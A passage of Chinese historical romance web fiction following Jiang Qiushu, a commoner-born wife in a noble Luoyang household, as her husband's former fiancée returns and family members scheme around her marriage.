回洛阳队伍浩浩荡荡,姜秋姝依靠在马车上,里面安置了软枕,比起以往还要舒适些。 行了一半的路程,周围有了变化,秋日正值黍丰收的时节。 道路阡陌交通,田野的百姓扛着农具,在瞧见如此浩荡的队伍,尤其是大周的旗帜后,全都跪地行礼。 少年人骑马,自田野中过,无数的黍被踩倒,半黄的黍倒了一片片,本还有十几日便能成熟。 姜秋姝他们就行的慢,她本是起了赏景的目的。 可看见这幕,心口撕裂的疼。 那是春日最好的一个时节,百花含苞待放,阿耶驾着驴车,出门采摘,阿娘在家中做着绣活儿,缝补阿耶的衣服,她在旁给阿娘驱走蚊蝇。 阿耶说收了这车花,便去县城给她买帛带,阿娘也说,要给她梳个好看的发饰,可等来的是隔壁婶子着急的跑到他们家中,“姜家的,出事儿了。” 她和阿娘来到园中,却瞧见满地的残花,阿耶趴在地上,还有那高坐在马上收地租的徐家三郎,而他怀中抱着美娇娘。 女子衣裳半解依靠在徐三郎怀中。 他说是阿耶以下犯上,打搅了他们,便想要阿耶园中的花来补偿,可阿耶不从,才出了岔子。 她阿耶不过是想家中多些收入,不想他们毁了花丛,根本不是什么以下犯上。 是他们在她家的园子里厮混,被阿耶瞧见了。 可他们所租赁的田地是徐家的,也因徐家在扬州势大,官官相护,阿耶的死只换来了一百两的补偿。 姜秋姝看着跪在地上的百姓心疼的望着黍,却又无可奈何,任由那些世家人糟蹋,她叫停了马车,裴珉的人比她还快,将那些纵马的人压制住,让那些人乖乖的掏出银两给了老人家。 “即便你去,也于事无补。”裴珉看着孤本,头也未抬,清冷的声音说出的话叫她发凉,“不过常事,他们给了补偿,即便告上公堂也无济于事,百姓收下补偿,才是聪明之举。” 姜秋姝懂得他的话,即便是没有这次,下次也会遇见,只不过今日遇见了他们,能够压着这些人给他们补偿,日后若无人相助,他们只能自求多福。 她晓得他是好意,可心里的郁气一直散发不出去。 凭何? 用自己双手赚钱无错,即便租赁了世家的地,也是银货两讫,并无谁欠谁的,可寒门天生矮了世家一头。 姜秋姝不晓得裴珉见过多少这般事,才有今日的平静, 只是…… 姜秋姝拽紧拳头,她不懂,为何只能忍气吞声,她阿耶未曾错,是那些人的错。 她眼眶泛红,阿耶多么努力的活着,只是因那些世家子。 世家大都是仗势欺人,酒囊饭袋之辈,大周需要不是分权,而是集权,权利在世家手中,肥沃了自身的子弟,一代传一代,寒门却无出人头地,只能被欺压。 他们手握权利,权利便是手中利刃,对着的是那些无权无势,只能惨遭屠戮的百姓。 官府的土地皆有世家掌握,世家再租赁给百姓,双重赋税加身,焉能好过,且世家租赁费用无定数,多少皆随他们的心。 百姓只是他们玩弄鼓掌之物。 各道州除开官府的赋税,还有趁火打劫收取利润的世家。 她望着他冷静的面容,心中的痛苦无人述说。 她和裴珉好似分别站在了河的两岸,一处是繁花似锦的洛阳,一处是哀嚎遍地祈求减少租金的乡野。 第32章 第32章前未婚妻 回到定国公府,已经很晚了,本是要拜见长辈的,可月上半空,长辈也不能跟着熬,只命他们明日请安。 两人各自回了各自的房间,只是裴珉眼神多次停留在她身上,她有些瞧不明白。 等回来房间,关嬷嬷叹息不断,“娘子,五郎那样子分明是叫您留下他。” 姜秋姝反问,“五郎又岂是那般扭捏的性子,嬷嬷您真是多虑了。” 关嬷嬷伺候裴珉多年,怎能不晓得呢,五郎不爱开口,凡事都藏在心里。 她早就说过,两人憨直凑一块儿了,有的熬了。 临睡前,姜秋姝发现,玉珩院许多奴仆神色有些怪异,不过她实在太累了些,只叫锦绣去打听,明日告诉她。 外头还未亮,姜秋姝收拾妥当,刚出院子便和裴珉遇上了,正好一同去清风苑请安。 当到了清风苑,不少人的目光又落在她身上,尤其是堂前站着个身穿白衣的小娘子,不见样貌光从背影来瞧,只觉得倩影翩翩。 她身侧还有一名男子,身高八尺,穿着虽然简单,可隐约有几分风骨。 裴珉与姜秋姝先向国公和太夫人行礼,太夫人慈善的让嬷嬷将他们扶了起来。 站在最中央,姜秋姝感觉到周围的目光更加的怪异,她屏息凝神看着旁边的女子想到了另一种可能。 太夫人笑盈盈的拉着女子的手,“五郎娘子未曾见过,这是郑家六娘,闺名如珠,是五郎老师之女。另一位是郑家三郎,唤作明恪。” 郑如珠,那个一听名字便晓得是被父母捧在掌心长大的女子。 姜秋姝抬眸,她瞧着温婉相貌上佳,一举一动透露着世家的教养。 见了她,姜秋姝莫名的想到了以往裴珉对她的要求,贤良淑德举动间不能粗俗,要配得上定国公五夫人的名号。 他要求的是她能做好世家夫人的位置,还是那模样本就另有其人? 他要她学她。 郑如珠与郑明恪朝他们施了礼,动作间端庄贞淑,“师兄,裴五夫人。” 姜秋姝袖口下的手捏紧,神态自若的朝着郑如珠还了礼。 裴珉眸光落到他们身上,姜秋姝看出里面的复杂,哀痛,惋惜还有喜悦。 “回来便好。”他声音清淡如常,可离他比较近的姜秋姝,察觉到他尾音的一丝颤抖。 太夫人拍着郑如珠的手,“我们与郑家历来亲厚,晓得你们没事儿后,五郎便派人将你们接了回来。” 是裴珉派人将人接回来的,那时裴珉应当还在猎场吧! 便能心系郑六娘的事。 姜秋姝抿了抿唇。 太夫人神情惋惜,“若是早些洗涮冤屈便好了。” 郑如珠晓得太夫人是在说阿耶的事,她红了眼眶,安慰起了太夫人,“阿耶在天之灵,晓得我郑家得以回到洛阳,必定欣慰。” 营州边关寒风刺骨,夜里凉的叫人几乎没了知觉。 郑家走的走,散的散,不少人在这场祸害中没能熬过去。 如今嫡系只剩下她与阿兄。 他们说着话,不少人附和着太夫人,皆叫郑如珠放宽心,在定国公府住下去。 姜秋姝感觉到自己也如他们般,唇角捋直,哀婉叹息,可实则她根本不识的什么郑大儒,郑家人,只从旁人的口中听闻一二,皆牵扯到了裴珉。 姜秋姝看了眼裴珉,他神色如常,可身为他枕边人能够察觉到他的喜悦之色,眉宇上扬,唇角的弧度比起平日都大了不少。 他们年幼相识,他们唤他一声师兄,总角之宴言笑晏晏,情分比起旁人总是不同的。 那是她未知的一切。 众人隐约的打量落在她的身上,姜秋姝大抵晓得她们是何意,比较她与郑如珠,看好戏的心态罢了。 可另有一道目光带着几分担忧,姜秋姝微低头,做低眉顺目状,便没有察觉到。 倒是太夫人快速看了过去,她脸色有一瞬的难看,可到底经历了许多大风大浪,一下子恢复成正常模样。 话基本说的差不多,大都入了座,姜秋姝坐在裴珉的身侧,而另一边却坐着郑如珠俩兄妹。 姜秋姝并未说话,那些停留在她身上的目光,更加怪异了几分。 即便与郑家人交好,位置也不该这般的安排,可以是大郎身侧,可以是太夫人身侧,亦可以是其余小辈们身侧,可偏偏坐在了前未婚夫的身侧。 太夫人恍若不觉这么多人都看着她,笑着说起了洛阳的趣事儿。 小辈们也不能搅了太夫人的雅兴,陪着说起话来。 毕竟裴珉都并无任何的不满,他们开口便是多管闲事儿了。 裴珉耐心给身旁两人倒了茶水,他们神情激动,似乎想要交谈,可此处到底不方便只能忍耐。 姜秋姝盯着面前的茶壶,握住茶杯把玩着,听着他们说话,不插嘴,犹如一尊安静的雕像。 裴承视线忍不住的往姜秋姝的方向看去,瞧她心不在焉,直接起身道:“太夫人,不如请郑娘子与郑郎君坐到您身侧?” 太夫人见裴承站了出来,唇角的笑容僵住了,还是朝着嬷嬷示意给他们挪了位置。 “人老了,瞧我这记性,本是要问六娘在府中住的还习惯不却忘了,六娘赶紧过来,与我说说。”太夫人笑着,可心里的面前只有她自己知道。 姜秋姝只是诧异的看了眼裴承,而裴珉在看向裴承的眼中夹杂了浓墨,晕染不开。 他倒是细心!裴珉寒凉的看了裴承一眼,心不正,痴想罢了。 姜秋姝自然察觉到裴珉情绪上的不对。 许裴珉也是不悦裴承打搅了他们相距的吧! 用早膳时,裴珉给她夹了她喜食的,她将东西吃了,小口小口地吃着,没甚滋味。 秋狩在外几日,府中的吃食,好似合不上她的胃口了。 “五叔母怎用的这般少?”裴秋月声音关怀,可在看向她的神色隐隐是得意的。 她自听闻郑六娘要回来的消息后,便欣喜若狂。 等的便是今日!她倒要看看姜秋姝还能如何在府中耀武扬威。 她所依仗的不过是五叔,可世道终究要变了,郑六娘更是住在了府中。 两人原本便是定过亲的,只是郑家遭了难,五叔为了郑六娘耽搁了几年,才叫姜秋姝捡了便宜。 不管他们是否会有旁的关系,都足以叫姜秋姝如鲠在喉。 “刚回府,精气神儿还未恢复。也多亏了侄女儿关怀,叔母吃多少都瞧着。”姜秋姝抿了抿茶水,放下了筷子。 说的她好似多在意她似的,裴秋月被呛了口,每回嘴皮子功夫,她从未在姜秋姝身上讨的好处,刚要说说郑如珠的事,身侧的赵士远拉着她的衣袖,给她碗中夹了吃食。 “这个好吃。”赵士远温声道。 裴秋月忍着气,将赵士远夹的东西给吃了,前几日对赵士远的不悦已经消失殆尽,她满脸的笑意,“多谢夫君。” 昨夜,赵士远当真是个大丈夫,她也真正的信了赵士远所说的不熟练。 足足有三刻钟呢! 裴秋月面若桃红,不和姜秋姝计较,揉了揉自己的腰肢,可累人了。 赵士远暗暗的看了眼姜秋姝,郑如珠与裴珉的事,他也曾听闻过。 早与她说过,这些世家豪族是那般好嫁的? 郑如珠回来了,她的位置可不是那般好坐的。 用完早膳,众人皆散去,只太夫人叫住了裴承。 两人去了清风苑内室,其余的奴仆都被太夫人给叫走了,她拨动着佛珠,压低了声音,“为何提出位置的不妥?!” 裴承心里的心思在太夫人面前几乎无法藏匿,可他依然道:“太夫人,孙儿只是看不过去罢了!” “堂上那么多人都未开口,你五叔怕是觉得享齐人之福,根本不会在意。三郎你可晓得你看向她的眼神是多么的不同。位置是我故意那般安排的,倘若你未开口,我只当我想错了,可三郎你的着急从未掩饰!” 裴承愣住了,他便说太夫人一世英名,怎会反那般的错。 即便是再疼爱郑家人,也不能主客不分,原是特意为他设下的。 他心中的隐秘藏得深,不晓得怎会被阿婆所察觉,可他也控制不了,红绸高悬是他代替五叔迎的亲。 许是团扇后娇艳的容颜,许是瞧着她原是鲜艳的花,却逐渐枯萎,许是他多番的误会,太多太多了,他控制不。 他晓得他动了心,可他不能承认。 裴承捏住袖子,半跪在太夫人身侧,“阿婆,孙儿并无其他的意思?只是瞧着五叔母可怜。” 寻常祖孙间的称呼,叫太夫人动容,她摸着他的脑袋。 原是怀疑,此刻心里却明了,她孙儿敬仰裴珉,常也学着君子之风,少用民间的称呼唤她,如今为了姜秋姝,不过是想要叫她心软。 “三郎,那是你五叔母!罔顾人伦啊!阿婆如今只剩下你了,你阿耶死后,这定国公府唯有你能依靠。国公爷的那些儿郎再好,皆与我没有血缘关系。我不可能瞧着这世子的位置旁落,这本是你阿耶的位置,你要替你阿耶守住。” 裴承靠在太夫人膝间,自阿耶死后,阿娘进了佛堂,他所能依靠的也唯有太夫人。 他深知太夫人所做,都是为了他好。 他只道:“孙儿真的没有,当初五叔与她成婚,为了郑家的案子未去迎亲,是孙儿替五叔拜的堂。旁的夫君从不假手于人,只五叔母新婚便要遭遇这些!况且如今郑六娘又回来了,孙儿只是可怜她。” 所以他的心思,便是那时起的?太夫人眸中寒意一闪而过。 两人未再说话,隔了许久,太夫人叫他起来,抓住他的手。 “好,”太夫人声音柔和了起来,“三郎是个仁善的孩子,有怜悯之心是好事,可也切莫太过,被旁人晓得了,也会如同阿婆一般误会的。” 裴承松了口气,连忙应承道:“孙儿会远离五叔母,恪守礼仪,不会叫旁人误会的。” 太夫人很是欣慰,又夸赞裴承在猎场的英勇,被圣人嘉许升了职。 裴承离开清风苑,太夫人脸上笑容不在,一张脸抛弃了所谓的慈善,阴狠又决绝。 她的孙儿不能有一丝的瑕疵。 姜秋姝留不得了。 *** 姜秋姝从锦绣的话中,才晓得郑如珠他们所住的秋水院,离玉珩院并不远,且秋水院是郑如珠以往常住的院子。 “娘子。”锦绣声音委屈,她还从旁的地方听到了不少的闲言碎语。 郑六娘回来了,她们家娘子的位置便是什么名不正言不顺,她不想和娘子说这些,惹得她心烦。 关嬷嬷在一旁整理着书桌,心里隐隐着急。 “娘子,可莫听外面的人胡说,五郎心中可只你一人。”她连忙解释道。 姜秋姝嘴角的笑清浅,坐到书桌前,静默的练起字来。 裴珉心中有谁?她不晓得,她晓得的是绝无她。 外面纷纷扰扰,声音不断,大都是底下人在说她与裴珉与郑如珠的事,人皆是个热闹性子,看戏心思,活了一世疲惫,偏要寻个乐子,瞧别人的事,尤其是糗事。 旁人越糟糕,自己越痛快。 “日后叫院子里的人都谨言慎行,郑娘子是客人,这些杂话,莫要传到她的耳朵里,免得说国公府连规矩都没有。”姜秋姝沉声道。 关嬷嬷得了命令,立刻离开了,将院子里的人聚集起来,训诫道。 “娘子,”门外忽然来了个小厮,“二夫人来了。” “快请。”姜秋姝放下笔,起身来。 二夫人见姜秋姝的身影,连忙起身,拉住了将要行礼的姜秋姝,“你我之间,倒是不必如此客气。” 底下的人连忙上了点心和茶水。 “我今日也不过是来说些闲话的。你可莫听旁人胡言乱语了,我以往所言,也不过是玩笑话,五郎那般守礼之人,与郑六娘定亲也不过是长辈的意思。他向来不苟言笑,即便是郑六娘与寻常的小娘子也并无两样。”二夫人笑着解释道。 姜秋姝明白二夫人知晓了正明侯府的事,今日言语中的示好,更多的是感激。 换作平常二夫人可轻易不会在别人面前低头。 “我省的,”姜秋姝道,“五郎那般的人,如何不叫人放心。” 她其实并没有往旁处胡思,只是偶尔在想,若是郑家未曾遭难,她与裴珉怕也没有缘分。 裴五夫人也不会是她。 那时,裴珉便不会费劲心力的教导妻子,一切都回到了正轨。 二夫人来的快,离开的也快,姜秋姝在屋子里闷得慌,便想着出去走走,没出院子却去了小厨房的方向。 里面忙的热火朝天,姜秋姝只在外边儿瞧了瞧,便想要离开,可忽然闻到了股药味儿。 是何人生了病? 她鬼使神差的走近,避开了前面的厨娘,往后院的方向,一小厮看着炉子,半眯着眼睛,百无聊赖的扇着风。 “这药?” 小厮醒来,瞧见姜秋姝先是吓了跳,“奴…奴病了,这是治疗风寒的。” 小厮说话吞吞吐吐,姜秋姝识得他是裴珉身边的人。 她隐隐觉得奇怪,此人目光炯炯,面色精神,可瞧不出哪儿病了。 尤其是当她要靠近,小厮直接横跨一步,阻拦了她的身影。 姜秋姝将此事记在心里,打算后面查查。 书房外,姜秋姝立了会儿,门口并未小厮,没人禀报,她不晓得自己该不该进去,走廊拐角处来了个身影。 她认出了人,是只有一面之缘的郑明恪。 洛阳众人郎君中,除开裴珉这是她瞧过最有风骨之人,气如松,立如傲竹,不瞧样貌,只论气度,就叫人不容小觑。 流放在营州多年,依旧能有如此风采。 郑明恪朝她施礼,“裴夫人。” 她还了礼。 郑明恪温润的目光落在她身上,“早听闻师兄成了婚,如今瞧夫人与师兄般配的很,可惜成婚时不能来观礼,也是遗憾。” 便是观礼,也只瞧她一人,有何好瞧的?姜秋姝想着。 郑明恪的话听着和善,毕竟她可是占了他妹妹的位置。 “不过礼可得送到,”他环顾了四周,像是在寻合适的物件儿,最终将自己手中的扇子递给了姜秋姝,“此等薄礼还请夫人收下。” 姜秋姝刚想要拒绝,这是男子之物,她一成了婚的妇人收下不妥。 可扇子当众在她面前打开,扇面上的画有些熟悉,她看了看画,又看了看书房门口仰头便能瞧见的那副画卷。 她曾疑惑过,气势磅礴的山河图,怎会有细腻生动的流水人家,此刻好似有了答案。 “此乃吾妹所画,女子之物,夫人收下也不会叫旁人指摘。”郑明恪言辞浅笑,声音温和至极。 可姜秋姝听着却觉着刺耳极了。 郑明恪将扇子递给她,往前踏了步,进了书房。 姜秋姝在外面,听着里面的畅谈声,始终停在原地,手中的折扇叫她生了寒意。 原是不用禀报的吗? 姜秋姝眸中光浅了些,只站了会儿 她忘了自己为何去书房找裴珉,小厨房热闹的很,他应当是要宴请,不必思考便晓得是郑家的两位。 可她这个玉珩院的女主人却不知晓。 姜秋姝回到自己房间里,将折扇放在桌面,上面的画技艺绝佳,比起她画的犹如稚童与及冠的男子。 也只有这样的画,那样的人,才能叫人珍藏。 被高悬在书房内。 姜秋姝心烦意乱,纸上的墨迹团了团,脏污了一大片。 数遍告诉自己,只做好裴珉夫人的位置便可,可脑中杂念往里灌,她忍不住的想,是不是因她而妨碍了裴珉和郑如珠? 她成了棒打鸳鸯的棍子,阻拦有情人的险阻。 她趴在桌上,抚摸着洛阳的枯枝,心中思绪复杂,叫她看不清,想不明白。 用膳时,裴珉并未回来,是与郑家人在一处,她用饭比起早晨那顿多了些,可还是不复以往的滋味。 秋狩时,滋滋冒油的烤鹿肉,将她的胃口搅合的都没了。 其实裴珉曾派人唤她,与他们一同用膳,她拒绝了,因郑明恪那从容的一步,也因那幅高悬的画。 用过膳,夜来的很快,她沐浴完后,便坐在榻上,清理着洛阳红上面干枯的苔藓。 其实里面错综复杂,树根与苔藓纠缠在一处,揪出苔藓时,必定会碰触到洛阳红的根,她变得束手束脚,生怕弄伤了这株洛阳红。 “若是要清理,便不可太小心,杂草在盆中是与牡丹抢着生存,若不清除,迟早会危害牡丹。”裴珉声音自后头响起。 她回头,神情先是讶异,而后想起今日是十五。 逢五。 裴珉手撑在门框上,脸颊绯红,眼中神色清淡,以往的深沉消散,却似刚睡醒的人,茫然无辜? 这是在裴珉身上极为少见的。 他喝醉了? “五郎。”姜秋姝用手帕擦干净上面的脏污,想要去扶他。 可裴珉却快速躲开,眼神停留在她指尖,抗拒着。 “未干净。”声音含糊,却瞧见听得清楚。 姜秋姝收回了手,让关嬷嬷去扶他,叫锦绣打了水进来,她净手的时候,裴珉倒是没有避讳,直接到了她的身侧瞧着。 纤纤玉指在水中拨动着,掌心伤痕已经淡了,身后的那道视线灼热,呼吸声跟着靠近,她回头正正对上他的脸,姜秋姝忍住被惊了一下将要逃离的举动。 他就这般靠在她的脖颈,前所未有的亲近。 姜秋姝净手的速度加快,裴珉身上散发的喜悦之色没掩饰。 在房间密闭处,比起大庭广众,他的情绪没在收敛。 姜秋姝只想快速洗干净,不想被他的气息包裹着,她用帕子擦干水,侃笑着推开了他,“五郎这是喝了多少?” 裴珉在她推开她时,抓住了她的手腕,“没多少。” 姜秋姝挣扎了下,可并未挣脱,“五郎忙了一天,又重见了挚友,不若早些休息。” 话落,她身子腾空,被他抱了起来。 床榻上,他俯身,她深深的看着他,看着这个喜怒皆显于色的人。 像是从未认识他一般。 他醉意清醒了些,瞧着这个被他桎梏的女子,他眼底的欲没在掩饰,呼吸落在了她的耳侧,“小满,我很畅舒。” 姜秋姝僵住了,没想到他竟然会唤她这个名字。 他一直晓得,只是从没喊过。 姜秋姝答了他的话,“因为他们回来了。” 裴珉点头。 那是他相识多年的人,老师的孩子,是老师留在世间唯一的牵挂。 他做了许多,终于洗刷了老师的冤屈,还了郑家清白,地下的老师应当能够瞑目了。 所以他要嘉奖他,眼底的欲望彻底释放,望着身下之人,他眼神直白,眼底的暗色,没像以往那般的隐忍。 自他第一次拥有她,他便是在压抑着,如今他只放肆这么一次。 抛开君子的外衣,疯狂,侵略,将她全部拥入,全部占有。 姜秋姝不适的挣扎,唇上吻激烈的叫她领略到了裴珉全部的气息,她被压制被笼罩,被占据着,想要被吞入腹中。 意识逐渐的脱离,可她恨恨的咬下一口,“妾身月事来了!” 裴珉没在动,呼吸还是那般的强烈,身体忍到了极致,翻身躺在了一侧。 “可惜了药。” 这声音很轻,轻到姜秋姝以为他不过是在呢喃。 可药?她眉宇拧了拧。 身侧的裴珉呼吸许久才变得平缓,脸黑的犹如黑夜般,她拢了拢被子,没去理会。 月事是假,她不想才是真,即便今日逢五。 *** 晨起,天光大盛。 “师嫂。” 出了院子,陌生的声音将姜秋姝喊住,她转身,郑如珠朝着她的方向快步而来。 莲步轻移,即便速度快,可端庄持重。 姜秋姝没动,立在原地,等着她逐步的靠近,可越近,有些东西看的越清。 她身上的衣服,可真熟悉。 定州瑞绫。 关嬷嬷退而求其次,选择了越州宝花罗给她做骑装,瑞绫却早早的穿在了旁人身上。 第33章 第33章文案章 “怎么了?”郑如珠瞧着她多次停留在她身上,疑惑的开口。 姜秋姝摇头,郑如珠便也没有多问,两人并肩往前走。 “夫人风华叫人移不开眼,师兄娶了你,是他的福气。”郑如珠自第一次瞧见姜秋姝,便被她的相貌所慑。 她出生在洛阳,长在洛阳十七年,见过不少世家娘子,从未见过这般姝色。 “过奖了。”姜秋姝回的有礼。 裴珉娶了她是福气,她好似未从洛阳世家人口中听闻,大都只是说她嫁给裴珉是高攀。 “师兄这些年来,为了郑家奔波,我和阿兄都很感激,昨日相见一时忘形,便多喝了些,夫人莫怪。” 姜秋姝其实从未见过裴珉喝醉的模样,或者说在她眼中,裴珉从未饮过酒,还当是他不喜喝酒,只是没有能一同喝酒的人罢。 “挚友回来是乐事,怎会怪呢?”姜秋姝笑着回复她。 一听如此,郑如珠松了口气,又问起姜秋姝如今洛阳的一些事来。 姜秋姝将自己所知晓的,与她一一说了。 “多谢夫人了。” 郑如珠神情感激,嘴角上抬,是如仕女图上的笑容,不少一分,不多一分。 姜秋姝却是疑惑,怎有人能将书上的模样搬到脸上。 近日来,并不忙,姜秋姝打算去别院的马场一趟,前儿得过裴珉的准许,她亦是大胆了些,心里一直对马背上的畅意念念不忘。 裴秋月也曾说,太夫人会对她训诫在秋狩发生的事,可责罚迟迟不到,她想,应该是郑家的人事太忙,叫太夫人顾不上她了。 旁人遭遇了这般的祸事,对骑马避之不及,可她却从不觉得是骑马的错。 她不会便去学,若是学中遭遇坎坷,跨过去便是了。 逃只会叫她害怕。 姜秋姝往外走,路过树林时,有几名撒扫的婢女。 “你可曾晓得,郑娘子曾与五郎定过亲?” 细碎的声音,足以引起人的注意。 “若非郑家遭难,五郎何故那般晚才成婚!本是金童玉女,如今却要分道扬镳,可叹啊!” “郑娘子与五郎才相配些,五夫人与五郎门不当户不对,我听说这门婚事可是蹊跷的很。” 最后一句被压低了声音。 锦绣气的想要上前理论,姜秋姝拉住了她的手,“不必管,和管事儿的说一声便可,还得去马场。” 姜秋姝神情如常,锦绣却十分担忧那些人口舌肮脏,惹了娘子心烦。 一行人约莫三刻钟后到了马场。 锦绣望着娘子出了神。 娘子拉紧缰绳,在马场上策马时,面容生花,是极为恣意的笑,她从未见过这般生动的娘子。 府中困住的是另外的娘子,与如今的人一点儿也不像。 回到玉珩院,已经很晚了,姜秋姝用过晚膳早早就沐浴完,坐在窗边练着字。 如今,她的字迹刻意的写,竟然与字帖上有九分相似。 若是不细看,怕会叫人以为是一人所写,她连忙将那纸揉成团,放进炉子里烧干净。 而后换了她常用的法子写,如今,她的字当真有了很大的进益,至少瞧着不扎眼了。 一道影子落到书案,她未抬头,便晓得是何人,没想到如今竟然会对裴珉这般的了解,而后,又庆幸自己将那纸团毁尸灭迹。 “五郎。” 她放下笔,结果书案对面的人却朝她的方向靠近,他将她困在了椅子与书案间,他的气息骤然朝她倾斜。 这般的近,她屏住了呼吸。 她未动,撑在桌子上的手收了收,神色带了几分紧张,问道:“你怎么来了?” “瞧瞧你。”裴珉简单的大着,人未离开,反而向她的方向靠近向下压迫,他眸光深深,呼吸靠的很近。 姜秋姝有些不适,想要离开,刚起身被他拉住手,下一刻人坐在了他的怀中,她挣扎着起来,又被他按住,宽大的手掌桎梏住她的腰。 “莫动。”裴珉声音比方才要暗了些。 臀部的肌肤发烫,有些迹象变得明显起来,她身子忍不住抖了下,两人许久未曾亲密,身体是陌生又熟悉的。 她揪住他的衣袖,可吻从上而下,将她想要拒绝的话给堵住。 可他的吻还是生硬的很,只是在唇畔上碾压,姜秋姝实在受不了,唇畔微微分开些,想要缓和这种痛,裴珉却吻的更深了些,许久两人才分开,竟然拉出一根儿银丝。 汁水顺着唇角,溅涟了唇瓣,水光潋滟,惹的人热气往身体各处钻去,他靠在她的额头,声音哑了些,“今日做何去了?” “去了马场。”姜秋姝呼吸不畅,还是回道。 裴珉气息一变,“刚回洛阳不久,在府中好好歇歇,也可去太夫人身伺候。” 虽不是责备的话,可姜秋姝听着刺耳。 她擦了擦唇,呼吸也逐渐平静下来,问道:“五郎是不喜我去马场吗?” 裴珉低头,眸光侵略的盯着她,“待在府中不好吗?” 好,锦衣玉食如何不好?换做天底下的女子尤其是她这般过过苦日子的人,最该满足。 可近些日子来,她在想这般的过下去,当真是她想要的吗? “下回若想去,可叫上我。”裴珉缓和了语气又道。 姜秋姝点头,只是控制不住在他怀中露出了个他瞧不见的讥讽的笑。 她不常瞧见他,两人住在一个院子里,她从不向旁人打探他的踪迹,因为他不喜。他也不会向她言明踪迹,只是她只知道会在逢五的时候见他。 她自他怀中起身,抗拒着裴珉不知为何来的亲昵。 “五郎还是早些回房间休息吧!妾身也得早些睡了。”姜秋姝道。 裴珉起身,离开了房间,只是目光频频落在她身上。 姜秋姝此刻看出了,他想要叫她挽留,正如上回她们未曾行事,便补上了。 此次他应当是怀着这般想法的。 可她不想。 接下来好几日,姜秋姝都未瞧见过裴珉的身影,她也只是做好自己该做的事儿,叫底下的人,伺候好裴珉的衣食。 到了隔日,裴秋月竟然请了她去她的院子,说是办了场小宴,府中的女眷都在。 她没法拒绝,便带上关嬷嬷和锦绣他们出了院子。 刚走过小桥,往左侧方向,一名小厮自竹林的方向走,手里提着几包东西。 他忽然一阵踉跄,手里的东西摔了出去,纸包破了洞,里面的药材散落一地。 姜秋姝朝关嬷嬷和锦绣示意,她们连忙去帮那小厮将东西捡了起来。 姜秋姝在旁看着,那些药材有些熟悉。 巴戟天,肉苁蓉,锁阳…… 这些,她曾在给裴珉熬过的药里瞧过,是些于男子有益,治疗肾虚阳痿的。 她蹙眉,也认出那个捡药材的小厮来。 是赵士远身边伺候的,也是他唯一带入定国公府的人。 姜秋姝眼中多了几分深思。 到了裴秋月的院子,已经有了不少人,相互见礼后,裴秋月的人领着她到了角落里,她也不甚在意。 明知裴秋月叫她来,不会是什么好事。 几位夫人围着郑如珠说着话,只二夫人朝她微微颔首。 此次郑家洗刷掉冤屈,还了清白,郑大儒原本就在洛阳颇有名望,门下弟子众多,即便如今郑家,只剩下郑如珠和郑明恪两人,其余人世家少不了会给他们些面子。 尤其郑家受了委屈,皇家指不定会如何补偿,至少面子功夫得做足了。 姜秋姝落坐,端来茶水的竟然是老熟人锦瑟,以往在玉珩院伺候的,被贬到外院,没想到,竟然被裴秋月要了去。 “娘子喝茶。”锦瑟放下茶杯,眉眼有几分闷恨之色。 她原以为,出身不显的姜秋姝正如平日里瞧见的,是个温善怯懦的,没想到那般有心计。 事后她才将事情想明白,那碗加了姜的汤,是故意做给她看的。 姜秋姝早就看她不顺眼,也晓得她一向沉不住气,要到五郎面前告发,结果她中了她的计谋,叫五郎以为她撒谎,惹恼了五郎,被贬到外院。 “墙头草!”锦绣最看不惯锦瑟,别了她一眼。 锦瑟只是瞪了回去,如今玉珩院不是她的主子,为她撑腰的是二娘! 谁人不晓得,二娘与五夫人尚有渊源,两人关系并不好。 “五叔母可觉得熟悉?”裴秋月走了过来,坐到了姜秋姝对面,“也亏了五叔母容不下人,反倒叫我晓得了不少玉珩院的事。” 姜秋姝抬眉,瞧着洋洋得意的裴秋月。 “不忠的人,二娘也敢用?”姜秋姝没碰茶水,脸上表情没有半点儿变化。 裴秋月只觉得她嘴硬,压低的声音带着些讥讽,“逢五。” 简单的两个字,便是将她与裴珉间遮羞布给扯下了。 谁家夫妻日子过的这般计较,连同房的日子都得计算着来,便说她和赵士远,这几日里,天天缠绵悱恻,恩爱异常。 裴秋月的脸颊不由得红了。 “总好过要用药才能勉力做男人的,”姜秋姝不紧不慢道,“好侄女儿,这样的男子与废人何异?” “你什么意思?”裴秋月没听懂姜秋姝的言外之意,可在她另指的神色中,察觉了说的何人,“别胡说!” 裴秋月恼怒的看着她,“你怎可这般污蔑人!” 裴秋月说着话,还是不解气,瞪着姜秋姝。“浑说!五叔母得不到五叔的宠爱,便要编排我夫君!” 可她心里却隐隐跟着猜测起来,原本立不起来的人,怎在这段时间里变得勇猛。 而姜秋姝胸有成竹的模样,也不像在作假。 她回想起与赵士远成婚到如今的事来,越想疑点越多,她也瞧见过他喝药,只是被他含糊过去了,说是滋补养身的药。 姜秋姝瞧着裴秋月眼神越发异常,甚至恼羞成怒唇角微抿,原本是试探,如今…… “赵士远住在定国公府,你若查,怎可能瞒得住,与其在此怀疑,不若自个儿去核实,”姜秋姝声音开怀了些,“我还以为他赵士远是多大个宝,你竟抢了个无用的!二娘啊,旁人的东西不是那么好抢的。说来我也得感激你,这烂手的货物,被你给揽了过去。” 裴秋月一张脸又青又紫,她不好过,也不想叫旁人好过。 “五叔与郑六娘才是天造地设的一对,五叔为她守了多年不成婚,以往是看不见摸不着,如今人回来了,就在眼前,他们间情谊不是你这个每月只能亲热两三次,勉强遵循夫妻之道的人能够比拟的。我就等着你,瞧着他们在你眼皮底下恩爱!” 姜秋姝唇角捋直,“那又如何?你五叔娶了我,即便有二心,我依旧会是这府中的五夫人。” 裴秋月心头涌起股莫名的激动,她以往在和姜秋姝的对话中,从未讨到好处,如今她言语中隐隐的松动,甚至也开始怀疑起了五叔会有二心,正是因为她心乱了的缘故。 “姜秋姝你不会一直那般好运的。府中人都怎么说的?说你五夫人的位置名不正,郑府全家流放,与五叔的婚约只是不了了之,你可知晓他们其实并没有退婚书?”裴秋月笑道。 没有退婚书? 姜秋姝眼眸灰暗之色划过,原是这样的名不正? 她与裴珉即便是三书六礼,在旁人眼中竟然还是名不正言不顺。 “你猜若是他们愿意,想个法子将你贬妻为妾,或者干脆五叔娶了郑六娘为平妻会如何?” 姜秋姝没有回裴秋月的话,反倒是望向了不远处被众人围着的郑六娘,端坐如静潭,颔首间眉宇舒展,谈笑间字字清越如落珠。 香炉里青烟逐渐消散,她莲步缓移,净手后打开香炉,清扫香灰又重新燃上,一举一动闲适又静雅。 在她身上,她恍惚看见了裴珉的影子。 